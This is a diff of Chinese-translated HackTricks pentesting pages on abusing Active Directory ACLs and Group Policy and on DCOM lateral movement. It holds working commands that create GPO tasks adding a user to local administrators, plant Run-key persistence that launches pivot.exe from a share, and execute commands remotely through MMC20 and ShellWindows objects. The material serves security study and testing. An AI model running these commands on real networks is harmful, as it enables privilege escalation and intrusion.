@ -247,19 +247,27 @@ Get-DomainGroupMember -Identity "Group Name" | Select MemberName
# Remove group member
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose
```
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找出最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## WriteDACL + WriteOwner
如果你是一个组的所有者,就像我是一个`Test` AD组的所有者
如果是一个组的所有者,就像我是一个`Test` AD组的所有者一样
![](../../../.gitbook/assets/22.png)
当然你可以通过PowerShell来实现
当然,您可以通过powershell来完成
```csharp
([ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local").PSBase.get_ObjectSecurity().GetOwner([System.Security.Principal.NTAccount]).Value
```
![](../../../.gitbook/assets/23.png)
如果你对AD对象有`WriteDACL`权限:
如果你对AD对象有`WriteDACL`权限:
![](../../../.gitbook/assets/24.png)
@ -302,7 +310,7 @@ Set-Acl -Path $path -AclObject $acl
```bash
Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
```
下面表明用户`offense\spotless`具有**WriteProperty**、**WriteDacl**、**WriteOwner**等权限,这些权限都可以被滥用:
下面显示了用户`offense\spotless`具有**WriteProperty**、**WriteDacl**、**WriteOwner**等权限,这些权限都可以被滥用:
![](../../../.gitbook/assets/a14.png)
@ -312,79 +320,65 @@ Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
![](../../../.gitbook/assets/a15.png)
如果我们想要专门搜索配置错误的GPO可以使用PowerSploit的多个cmdlet链接起来如下所示
如果我们想要专门搜索配置错误的GPO可以使用PowerSploit的多个cmdlet链接起来如下所示
```powershell
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
```
**应用了特定策略的计算机**
![](../../../.gitbook/assets/a16.png)
我们现在可以解析应用了GPO“配置错误策略”的计算机名称
**应用了给定策略的计算机**
我们现在可以解析应用了GPO“配置错误的策略”的计算机名称
```powershell
Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}
```
**应用于特定计算机的策略**
The following command can be used to list the policies applied to a given computer:
The following section describes the process of identifying the policies applied to a given computer in an Active Directory environment.
以下命令可用于列出应用于特定计算机的策略:
以下部分描述了在Active Directory环境中识别应用于特定计算机的策略的过程。
1. Open a command prompt as an administrator.
以管理员身份打开命令提示符。
2. Run the following command to retrieve the applied policies:
运行以下命令以检索应用的策略:
```plaintext
gpresult /scope computer /r
gpresult /scope computer /v
```
**List of Applied Policies**
This command will display detailed information about the policies applied to the computer.
**已应用策略列表**
此命令将显示有关应用于计算机的策略的详细信息。
The output of the above command will display a list of applied policies, including the policy name, the winning GPO (Group Policy Object), and the policy setting.
3. Look for the section titled "Applied Group Policy Objects" in the command output.
上述命令的输出将显示已应用策略的列表,包括策略名称、获胜的 GPO组策略对象和策略设置
在命令输出中查找标题为“Applied Group Policy Objects”的部分
**Policies Applied to a Given User**
4. Under this section, you will find a list of Group Policy Objects (GPOs) that are applied to the computer.
**应用于特定用户的策略**
在此部分下您将找到应用于计算机的一系列组策略对象GPO
The following command can be used to list the policies applied to a given user:
5. Each GPO will be listed with its unique identifier (GUID) and the order in which it is applied.
以下命令可用于列出应用于特定用户的策略:
每个GPO都将列出其唯一标识符GUID和应用顺序。
```plaintext
gpresult /scope user /r
```
6. Make note of the GPOs applied to the computer for further analysis.
**List of Applied Policies**
记下应用于计算机的GPO以便进行进一步分析。
**已应用策略列表**
By identifying the policies applied to a given computer, you can gain insights into the security configurations and restrictions enforced on that system. This information can be useful for understanding the potential attack surface and planning further exploitation techniques.
The output of the above command will display a list of applied policies, including the policy name, the winning GPO (Group Policy Object), and the policy setting.
上述命令的输出将显示已应用策略的列表,包括策略名称、获胜的 GPO组策略对象和策略设置。
**Modifying Policies**
**修改策略**
To modify a policy, you can use the following command:
要修改策略,可以使用以下命令:
```plaintext
gpupdate /force
```
This command will force an immediate update of the policies applied to the computer or user.
此命令将立即强制更新应用于计算机或用户的策略。
**Note:** Modifying policies may require administrative privileges.
**注意:**修改策略可能需要管理员权限。
通过识别应用于特定计算机的策略,您可以了解该系统上实施的安全配置和限制。这些信息对于了解潜在的攻击面和规划进一步的利用技术非常有用。
```powershell
Get-DomainGPO -ComputerIdentity ws01 -Properties Name, DisplayName
```
![](https://blobs.gitbook.com/assets%2F-LFEMnER3fywgFHoroYn%2F-LWNAqc8wDhu0OYElzrN%2F-LWNBOmSsNrObOboiT2E%2FScreenshot%20from%202019-01-16%2019-44-19.png?alt=media\&token=34332022-c1fc-4f97-a7e9-e0e4d98fa8a5)
**应用给定策略的组织单位OUs**
**应用给定策略的组织单位OUs**
```powershell
Get-DomainOU -GPLink "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" -Properties DistinguishedName
```
@ -392,7 +386,7 @@ Get-DomainOU -GPLink "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" -Properties Distin
### **滥用GPO -** [New-GPOImmediateTask](https://github.com/3gstudent/Homework-of-Powershell/blob/master/New-GPOImmediateTask.ps1)
滥用此配置错误并获得代码执行的一种方法是通过GPO创建一个立即执行的计划任务,如下所示:
滥用此配置错误并获得代码执行的一种方法是通过GPO创建一个立即计划任务如下所示
```powershell
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
```
@ -414,7 +408,7 @@ New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,
## Search a shared folder where you can write and all the computers affected can read
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
```
这个payload在GPO更新后还需要有人登录到计算机
这个payload在GPO更新后还需要有人登录到计算机
### [**SharpGPOAbuse**](https://github.com/FSecureLABS/SharpGPOAbuse) **- 滥用GPO**
@ -517,7 +511,7 @@ Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "
```
{% endcode %}
此外,我们可以考虑利用登录/注销脚本,使用注册表进行自启动,安装.msi编辑服务等方式进行代码执行
此外,我们可以考虑利用登录/注销脚本,使用注册表进行自启动,安装.msi编辑服务和类似的代码执行途径
## 参考资料
@ -528,14 +522,21 @@ Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "
* [https://adsecurity.org/?p=3658](https://adsecurity.org/?p=3658)
* [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System\_DirectoryServices\_ActiveDirectoryAccessRule\_\_ctor\_System\_Security\_Principal\_IdentityReference\_System\_DirectoryServices\_ActiveDirectoryRights\_System\_Security\_AccessControl\_AccessControlType\_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System\_DirectoryServices\_ActiveDirectoryAccessRule\_\_ctor\_System\_Security\_Principal\_IdentityReference\_System\_DirectoryServices\_ActiveDirectoryRights\_System\_Security\_AccessControl\_AccessControlType\_)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm\_campaign=hacktricks&utm\_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks的衣物**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享的黑客技巧。**
* 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗或者您想获得最新版本的PEASS或下载PDF格式的HackTricks吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks衣物**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享的黑客技巧。**
</details>

View file

@ -4,23 +4,31 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一个**网络安全公司**工作吗?想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 你在**网络安全公司**工作吗?想在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFT收藏品The PEASS Family](https://opensea.io/collection/the-peass-family)
* 获[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便您可以更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## MMC20.Application
**DCOM**(分布式组件对象模型)对象由于能够通过网络与对象进行交互而变得**有趣**。微软在DCOM [这里](https://msdn.microsoft.com/en-us/library/cc226801.aspx) 和 COM [这里](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx) 有一些很好的文档。您可以使用PowerShell找到一个可靠的DCOM应用程序列表运行`Get-CimInstance Win32_DCOMApplication`。
**DCOM**(分布式组件对象模型)对象由于能够通过网络与对象进行交互而变得**有趣**。Microsoft在DCOM [这里](https://msdn.microsoft.com/en-us/library/cc226801.aspx)和COM [这里](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx)有一些很好的文档。您可以使用PowerShell找到一个可靠的DCOM应用程序列表运行`Get-CimInstance Win32_DCOMApplication`。
[MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx) COM对象允许您脚本化MMC插件操作的组件。在枚举此COM对象中的不同方法和属性时我注意到在Document.ActiveView下有一个名为`ExecuteShellCommand`的方法。
![](<../../.gitbook/assets/image (4) (2) (1) (1).png>)
您可以在[这里](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx)阅读有关该方法的更多信息。到目前为止我们有一个可以通过网络访问并执行命令的DCOM应用程序。最后一步是利用这个DCOM应用程序和ExecuteShellCommand方法在远程主机上获得代码执行。
您可以在[这里](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx)阅读有关该方法的更多信息。到目前为止我们有一个可以通过网络访问并执行命令的DCOM应用程序。最后一步是利用这个DCOM应用程序和ExecuteShellCommand方法在远程主机上获得代码执行的能力
幸运的是作为管理员您可以使用PowerShell远程与DCOM进行交互只需使用“`[activator]::CreateInstance([type]::GetTypeFromProgID`”。您只需要提供一个DCOM ProgID和一个IP地址。然后它将远程提供给您该COM对象的一个实例
@ -37,7 +45,7 @@
![](<../../.gitbook/assets/image (4) (1) (2).png>)
您可以在[这里](https://twitter.com/tiraniddo/status/817532039771525120)阅读更多关于该线程的信息。\
使用[@tiraniddo](https://twitter.com/tiraniddo)的[OleView .NET](https://github.com/tyranid/oleviewdotnet)可以查看没有显式LaunchPermission设置的其他对象它具有出色的Python过滤器以及其他功能。在这种情况下我们可以将过滤器缩小到所有没有显式Launch Permission的对象。这样做时我注意到两个对象`ShellBrowserWindow`和`ShellWindows`
使用[@tiraniddo](https://twitter.com/tiraniddo)的[OleView .NET](https://github.com/tyranid/oleviewdotnet)可以查看没有显式LaunchPermission设置的其他对象它具有出色的Python过滤器以及其他功能。在这种情况下我们可以将过滤器缩小到所有没有显式Launch Permission的对象。这样做时,我注意到两个对象:`ShellBrowserWindow`和`ShellWindows`
![](<../../.gitbook/assets/image (3) (1) (1) (2).png>)
@ -49,15 +57,14 @@
### ShellWindows
首先探索的对象是[ShellWindows](https://msdn.microsoft.com/en-us/library/windows/desktop/bb773974\(v=vs.85\).aspx)。由于此对象没有与之关联的[ProgID](https://msdn.microsoft.com/en-us/library/windows/desktop/ms688254\(v=vs.85\).aspx),我们可以使用[Type.GetTypeFromCLSID](https://msdn.microsoft.com/en-us/library/system.type.gettypefromclsid\(v=vs.110\).aspx) .NET方法配对[Activator.CreateInstance](https://msdn.microsoft.com/en-us/library/system.activator.createinstance\(v=vs.110\).aspx)方法通过其AppID在远程主机上实例化对象。为我们需要获取ShellWindows对象的[CLSID](https://msdn.microsoft.com/en-us/library/windows/desktop/ms691424\(v=vs.85\).aspx)也可以使用OleView .NET完成
首先探索的对象是[ShellWindows](https://msdn.microsoft.com/en-us/library/windows/desktop/bb773974\(v=vs.85\).aspx)。由于此对象没有与之关联的[ProgID](https://msdn.microsoft.com/en-us/library/windows/desktop/ms688254\(v=vs.85\).aspx),我们可以使用[Type.GetTypeFromCLSID](https://msdn.microsoft.com/en-us/library/system.type.gettypefromclsid\(v=vs.110\).aspx) .NET方法配对[Activator.CreateInstance](https://msdn.microsoft.com/en-us/library/system.activator.createinstance\(v=vs.110\).aspx)方法通过其AppID在远程主机上实例化对象。为了做到这一点我们需要获取ShellWindows对象的[CLSID](https://msdn.microsoft.com/en-us/library/windows/desktop/ms691424\(v=vs.85\).aspx)也可以使用OleView .NET完成:
![shellwindow\_classid](https://enigma0x3.files.wordpress.com/2017/01/shellwindow\_classid.png?w=434\&h=424)
如下所示“Launch Permission”字段为空表示没有设置显式权限。
![screen-shot-2017-01-23-at-4-12-24-pm](https://enigma0x3.files.wordpress.com/2017/01/screen-shot-2017-01-23-at-4-12-24-pm.png?w=455\&h=401)
现在我们有了CLSID可以在远程目标上实例化对象
现在我们已经获得了CLSID我们可以在远程目标上实例化该对象
```powershell
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>") #9BA05972-F6A8-11CF-A442-00A0C90A8F39
$obj = [System.Activator]::CreateInstance($com)
@ -70,7 +77,7 @@ $item = $obj.Item()
```
![](https://enigma0x3.files.wordpress.com/2017/01/item\_instantiation.png?w=416\&h=465)
掌握了Shell窗口的全部操作,我们现在可以访问所有预期的公开方法/属性。在浏览这些方法后,**`Document.Application.ShellExecute`** 引起了我的注意。请确保按照该方法的参数要求进行操作,这些要求在[这里](https://msdn.microsoft.com/en-us/library/windows/desktop/gg537745\(v=vs.85\).aspx)有详细说明。
掌握了Shell窗口后,我们现在可以访问所有预期的方法/属性。在浏览这些方法后,**`Document.Application.ShellExecute`** 引起了注意。请确保按照该方法的参数要求进行操作,这些要求在[这里](https://msdn.microsoft.com/en-us/library/windows/desktop/gg537745\(v=vs.85\).aspx)有详细说明。
```powershell
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
```
@ -80,9 +87,9 @@ $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\sy
### ShellBrowserWindow
这个特定的对象在Windows 7上不存在使得它在横向移动方面的使用比“ShellWindows”对象有些受限我在Win7-Win10上对其进行了测试并取得了成功。
这个特定的对象在Windows 7上不存在因此它在横向移动方面的使用比“ShellWindows”对象有些受限我在Win7-Win10上对其进行了测试并成功执行
根据我对该对象的枚举,它似乎有效地提供了与前一个对象相同的资源管理器窗口接口。要实例化这个对象我们需要获取它的CLSID。与上面类我们可以使用OleView .NET
根据我对该对象的枚举,它似乎与前一个对象一样有效地提供了对资源管理器窗口的接口。要实例化此对象我们需要获取其CLSID。与上述相我们可以使用OleView .NET
![shellbrowser\_classid](https://enigma0x3.files.wordpress.com/2017/01/shellbrowser\_classid.png?w=428\&h=414)
@ -90,16 +97,16 @@ $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\sy
![screen-shot-2017-01-23-at-4-13-52-pm](https://enigma0x3.files.wordpress.com/2017/01/screen-shot-2017-01-23-at-4-13-52-pm.png?w=399\&h=340)
有了CLSID我们可以重复上一个对象上的步骤来实例化对象并调用相同的方法
有了CLSID我们可以重复上一个对象上的步骤来实例化对象并调用相同的方法:
```powershell
$com = [Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
$obj.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "C:\Windows\system32", $null, 0)
```
![](https://enigma0x3.files.wordpress.com/2017/01/shellbrowserwindow_command_execution.png?w=690\&h=441)
![](https://enigma0x3.files.wordpress.com/2017/01/shellbrowserwindow\_command\_execution.png?w=690\&h=441)
正如你所看到的,命令在远程目标上成功执行。
正如你所,命令在远程目标上成功执行。
由于该对象直接与Windows shell进行交互我们不需要调用“ShellWindows.Item”方法就像之前的对象一样。
@ -137,21 +144,28 @@ $Obj.DDEInitiate("cmd", "/c $Command")
```
## 工具
Powershell脚本[**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1)可以轻松调用所有被注释的方法来在其他机器上执行代码。
Powershell脚本[**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1)允许轻松调用所有已注释的方法来在其他机器上执行代码。
## 参考资料
* 第一种方法来自[https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/),更多信息请点击链接
* 第二部分来自[https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/),更多信息请点击链接
* 第一种方法来自[https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/),更多信息请访问链接
* 第二部分来自[https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/),更多信息请访问链接
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm\_campaign=hacktricks&utm\_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享的黑客技巧。**
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享的黑客技巧。**
</details>

View file

@ -1,19 +1,26 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- 获[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
# 调用
```text
@ -41,19 +48,24 @@ _03/2019_
* [x] 缓存的组策略首选项.xml文件
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找出最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想要**获取最新版本的PEASS或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想获得最新版本的PEASS或下载PDF格式的HackTricks吗请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
